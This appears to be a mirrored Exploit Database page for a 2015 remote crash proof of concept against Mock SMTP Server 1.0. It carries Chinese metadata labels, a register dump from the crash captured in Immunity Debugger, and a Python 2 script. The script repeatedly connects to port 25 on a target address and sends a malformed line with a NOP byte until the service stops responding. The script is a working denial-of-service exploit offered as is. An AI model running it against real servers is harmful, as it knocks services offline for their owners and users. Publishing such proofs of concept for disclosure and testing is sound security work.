Mock SMTP Server 1.0 – Remote Crash (PoC)

• Exploit Database
• 13 阅读

• 作者： Shankar Damodaran
  日期： 2015-08-24
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/37954/

• #!/usr/bin/python
  # Exploit Title: Mock SMTP Server 1.0 Remote Crash PoC
  # Date: 23-08-2015
  # Exploit Author: Shankar Damodaran
  # Author's Twitter : @sh4nx0r
  # Vendor Homepage: http://mocksmtpserver.codeplex.com
  # Software Link: http://mocksmtpserver.codeplex.com/downloads/get/87077
  # Version: 1.0
  # Tested on: Microsoft Windows 7 Home Premium Service Pack 1
  # Tested on: Microsoft Windows XP Professional SP3
  # Image PoC : http://i.imgur.com/lp7NHTm.png
  
  
  # The Stack Trace from Microsoft Windows XP Professional SP3
  '''
  The Exception occured on EBX Register (E0434F4D)
  
  The Registers during the crash
  
  EAX 03BAF618
  ECX 00000000
  EDX 00000028
  EBX E0434F4D
  ESP 03BAF614
  EBP 03BAF668
  ESI 03BAF6A4
  EDI 001DFF28
  EIP 7C812FD3 KERNEL32.7C812FD3
  C 0ES 0023 32bit 0(FFFFFFFF)
  P 0CS 001B 32bit 0(FFFFFFFF)
  A 0SS 0023 32bit 0(FFFFFFFF)
  Z 0DS 0023 32bit 0(FFFFFFFF)
  S 0FS 003B 32bit 7FFD6000(FFF)
  T 0GS 0000 NULL
  D 0
  O 0LastErr WSAECONNRESET (00002746)
  EFL 00000202 (NO,NB,NE,A,NS,PO,GE,G)
  ST0 empty
  ST1 empty
  ST2 empty
  ST3 empty
  ST4 empty
  ST5 empty
  ST6 empty
  ST7 empty
   3 2 1 0E S P U O Z D I
  FST 0000Cond 0 0 0 0Err 0 0 0 0 0 0 0 0(GT)
  FCW 027FPrec NEAR,53Mask1 1 1 1 1 1
  
  Courtesy : Immunity Debugger
  
  '''
  
  
  
  import socket
  
  # Preparing a junk array with two NOPS.
  junk_bed=["\x90","\x90"]
  
  # The ip address of the remote host
  smtphost = '192.168.1.7'
  
  # The port of the remote host
  smtpport = 25
  
  for junk in junk_bed:
  	
  	# Initialize the socket stream
  	s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  	
  	# Setting a 5 second tolerance limit to check the server uptime
  	s.settimeout(5)
  	
  	# Connecting to the remote service.
  	s.connect((smtphost,smtpport))
  
  	# If the server doesn't respond, means its crashed.
  	try:
  		s.recv(1)
  	except socket.timeout:
  		print "The SMTP Server has been crashed."
  		quit()
  	
  	# Sending the evil input
  	print "Evil Input Sent...Triggering a crash."
  	s.send('\r\n'+junk+'\r\n')
  
  	# Close the connection socket
  	s.close()
  
  # End of PoC - Shankar Damodaran